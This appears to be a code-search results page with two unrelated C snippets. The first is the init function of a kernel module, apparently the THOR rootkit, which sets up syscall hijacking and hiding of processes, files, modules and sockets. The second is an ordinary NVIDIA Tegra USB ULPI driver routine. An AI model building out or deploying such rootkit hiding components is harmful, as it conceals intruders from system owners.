コード例 #1
0
ファイル: main.c プロジェクト: HeapLock/THOR
static int __init thor_init(void)
{
    if (hijack_init() < 0 ||
        procfile_init() < 0 ||
        pidhider_init() < 0 ||
        filehider_init() < 0 ||
        lsmodhider_init() < 0 ||
        sockethider_init() < 0) {
        LOG_ERROR("failed to initialize");
        thor_cleanup();
        return -1;
    }

    LOG_INFO("init done");
    return 0;
}
コード例 #2
0
ファイル: nvodm_usbulpi.c プロジェクト: nopy/kernel_folio100
NvOdmUsbUlpiHandle NvOdmUsbUlpiOpen(NvU32 Instance)
{
    NvOdmUsbUlpi*pDevice = NULL;
    NvU32 ClockInstances[MAX_CLOCKS];
    NvU32 ClockFrequencies[MAX_CLOCKS];
    NvU32 NumClocks;
#if defined(CONFIG_TEGRA_ODM_BETELGEUSE)
/* paul */
    NvOdmInterruptHandler IntrHandler = (NvOdmInterruptHandler)UsbCurLimitGpioInterruptHandler;
/* end */
#endif
    pDevice = NvOdmOsAlloc(sizeof(NvOdmUsbUlpi));
    if(pDevice == NULL)
		return NULL;
    
    if(!NvOdmExternalClockConfig(SMSC3317GUID, NV_FALSE, ClockInstances,
					ClockFrequencies, &NumClocks))
    {
        NV_DRIVER_TRACE (("ERROR NvOdmUsbUlpiOpen: "
				"NvOdmExternalClockConfig fail\n"));
        goto ExitUlpiOdm;
    }
    NvOdmOsSleepMS(10);

    if (!s_hGpio)
        s_hGpio = NvOdmGpioOpen();
    if (!s_hGpio)
    {
        NV_DRIVER_TRACE (("ERROR NvOdmUsbUlpiOpen: "
				"Not able to open gpio handle\n"));
        goto ExitUlpiOdm;
    }

    if (!s_hResetPin)
        s_hResetPin = NvOdmGpioAcquirePinHandle(s_hGpio, ULPI_RESET_PORT,
							ULPI_RESET_PIN);
    if (!s_hResetPin)
    {
        NvOdmGpioClose(s_hGpio);
        s_hGpio = NULL;
        NV_DRIVER_TRACE (("ERROR NvOdmGpioAcquirePinHandle: "
					"Not able to Acq pinhandle\n"));
        goto ExitUlpiOdm;
    }

#if defined(CONFIG_TEGRA_ODM_BETELGEUSE)
    if (!s_hOvrrCurPin)
        s_hOvrrCurPin = NvOdmGpioAcquirePinHandle(s_hGpio, ULPI_OVRCURR_PORT,
							ULPI_OVRCURR_PIN);

    if (!s_hOvrrCurPin)
    {
        NvOdmGpioClose(s_hGpio);
        s_hGpio = NULL;
        NV_DRIVER_TRACE (("ERROR NvOdmGpioAcquirePinHandle: "
					"Not able to Acq pinhandle\n"));
        goto ExitUlpiOdm;
    }
    NvOdmGpioConfig(s_hGpio,s_hOvrrCurPin, NvOdmGpioPinMode_InputData);
#endif

    // Pull high on RESETB ( 22nd pin of smsc3315) 
    // config as out put pin
    NvOdmGpioConfig(s_hGpio,s_hResetPin, NvOdmGpioPinMode_Output);

    // Set low to write high on ULPI_RESETB pin
    NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x01);
    NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x0);
    NvOdmOsSleepMS(5);
    NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x01);

#if defined(BUG_CONFIG_TEGRA_ODM_BETELGEUSE)
/* paul merge smith begin */

    /* create mutex for usb over current detect */
    NvOsMutexCreate(&usbCurrLimit_lock);

#if 0
    /* create /proc/usbCurrLimitInfo for user space read */ /* S_IRUGO */
    create_proc_read_entry("usbCurrLimitInfo", S_IRWXUGO, NULL, tegra_usbCurrLimit_read_proc, NULL);
#else

    procfile_init();
    
#endif
    /* register interrupt handler for GPIO_PU3 status */
    if (NvOdmGpioInterruptRegister(s_hGpio, &IntrHandle,
        	s_hOvrrCurPin, NvOdmGpioPinMode_InputInterruptLow,
        	IntrHandler, (void *)NULL, 0) == NV_FALSE)
    {
		NV_DRIVER_TRACE (("ERROR NvOdmGpioInterruptRegister: "
					"Not able to register intr hdlr for s_hCurLimitPin\n"));
    }

/* paul merge smith end */
#endif

    pDevice->CurrentGUID = SMSC3317GUID;
    return pDevice;

ExitUlpiOdm:
    NvOdmOsFree(pDevice);
    return NULL;
}